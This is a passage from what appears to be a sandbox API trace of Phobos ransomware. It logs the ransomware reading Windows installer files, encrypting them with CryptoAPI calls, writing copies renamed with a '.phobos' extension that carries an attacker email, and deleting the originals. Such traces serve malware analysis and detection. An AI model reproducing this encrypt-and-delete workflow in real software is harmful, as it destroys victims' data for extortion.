hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0045.929] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.929] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3683) returned 1 [0045.929] CloseHandle (hObject=0x320) returned 1 [0045.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0045.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.929] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.930] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.930] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.930] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0045.930] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc850) returned 1 [0045.930] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.930] ReadFile (in: hFile=0x320, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xe63, lpOverlapped=0x0) returned 1 [0045.949] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xe70, dwBufLen=0xe70 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xe70) returned 1 [0045.949] WriteFile (in: hFile=0x314, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xe70, lpOverlapped=0x0) returned 1 [0045.950] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc90) returned 1 [0045.950] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.950] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0045.950] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0045.950] WriteFile (in: hFile=0x314, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0045.950] CryptDestroyKey (hKey=0x10dc850) returned 1 [0045.950] CloseHandle (hObject=0x320) returned 1 [0045.950] CloseHandle (hObject=0x314) returned 1 [0045.951] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0045.952] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0045.952] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0045.952] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=54456) returned 1 [0045.952] CloseHandle (hObject=0x314) returned 1 [0045.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0045.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.953] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0045.953] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.953] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.953] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.953] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc810) returned 1 [0045.953] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.953] ReadFile (in: hFile=0x314, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xd4b8, lpOverlapped=0x0) returned 1 [0046.044] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xd4c0, dwBufLen=0xd4c0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xd4c0) returned 1 [0046.044] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xd4c0, lpOverlapped=0x0) returned 1 [0046.045] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dccd0) returned 1 [0046.045] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0046.046] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0046.046] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0046.046] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0046.046] CryptDestroyKey (hKey=0x10dc810) returned 1 [0046.046] CloseHandle (hObject=0x314) returned 1 [0046.046] CloseHandle (hObject=0x320) returned 1 [0046.047] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0046.048] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0046.048] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0046.049] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=81482) returned 1 [0046.049] CloseHandle (hObject=0x320) returned 1 [0046.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0046.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.049] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0046.049] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0046.049] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0046.049] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.049] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc9d0) returned 1 [0046.049] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0046.049] ReadFile (in: hFile=0x320, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x13e4a, lpOverlapped=0x0) returned 1 [0046.393] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x13e50, dwBufLen=0x13e50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x13e50) returned 1 [0046.393] WriteFile (in: hFile=0x314, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x13e50, lpOverlapped=0x0) returned 1 [0046.395] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc610) returned 1 [0046.395] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0046.395] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0046.395] CryptDestroyKey (hKey=0x10dc610) returned 1 [0046.395] WriteFile (in: hFile=0x314, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0046.395] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0046.395] CloseHandle (hObject=0x320) returned 1 [0046.395] CloseHandle (hObject=0x314) returned 1 [0046.397] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0046.399] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0046.399] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.399] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3859) returned 1 [0046.399] CloseHandle (hObject=0x314) returned 1 [0046.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0046.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.399] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.399] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0046.399] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0046.399] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0046.400] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc90) returned 1 [0046.400] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0046.400] ReadFile (in: hFile=0x314, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xf13, lpOverlapped=0x0) returned 1 [0046.482] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xf20, dwBufLen=0xf20 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xf20) returned 1 [0046.482] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf20, lpOverlapped=0x0) returned 1 [0046.483] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dca10) returned 1 [0046.483] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0046.483] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0046.483] CryptDestroyKey (hKey=0x10dca10) returned 1 [0046.483] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0046.483] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0046.483] CloseHandle (hObject=0x314) returned 1 [0046.483] CloseHandle (hObject=0x320) returned 1 [0046.484] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0046.485] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0046.485] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0046.485] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=5827) returned 1 [0046.485] CloseHandle (hObject=0x320) returned 1 [0046.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0046.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.485] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0046.485] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0046.485] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0046.485] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.485] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb50) returned 1 [0046.485] CryptSetKeyParam (hKey=0x10dcb50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0046.485] ReadFile (in: hFile=0x320, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x16c3, lpOverlapped=0x0) returned 1 [0046.528] CryptEncrypt (in: hKey=0x10dcb50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x16d0, dwBufLen=0x16d0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x16d0) returned 1 [0046.528] WriteFile (in: hFile=0x314, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x16d0, lpOverlapped=0x0) returned 1 [0046.529] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dca90) returned 1 [0046.529] CryptSetKeyParam (hKey=0x10dca90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0046.529] CryptEncrypt (in: hKey=0x10dca90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0046.529] CryptDestroyKey (hKey=0x10dca90) returned 1 [0046.529] WriteFile (in: hFile=0x314, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0046.529] CryptDestroyKey (hKey=0x10dcb50) returned 1 [0046.529] CloseHandle (hObject=0x320) returned 1 [0046.530] CloseHandle (hObject=0x314) returned 1 [0046.530] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0046.531] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0046.531] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0046.537] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4015) returned 1 [0046.537] CloseHandle (hObject=0x328) returned 1 [0046.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0046.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.538] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0046.538] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0046.538] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0046.538] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0046.540] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc790) returned 1 [0046.540] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0046.540] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xfaf, lpOverlapped=0x0) returned 1 [0046.828] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xfb0, dwBufLen=0xfb0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xfb0) returned 1 [0046.828] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xfb0, lpOverlapped=0x0) returned 1 [0046.832] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcad0) returned 1 [0046.832] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0046.832] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0046.832] CryptDestroyKey (hKey=0x10dcad0) returned 1 [0046.832] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0046.832] CryptDestroyKey (hKey=0x10dc790) returned 1 [0046.832] CloseHandle (hObject=0x328) returned 1 [0046.832] CloseHandle (hObject=0x320) returned 1 [0046.833] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0046.834] CryptGenRandom (in: 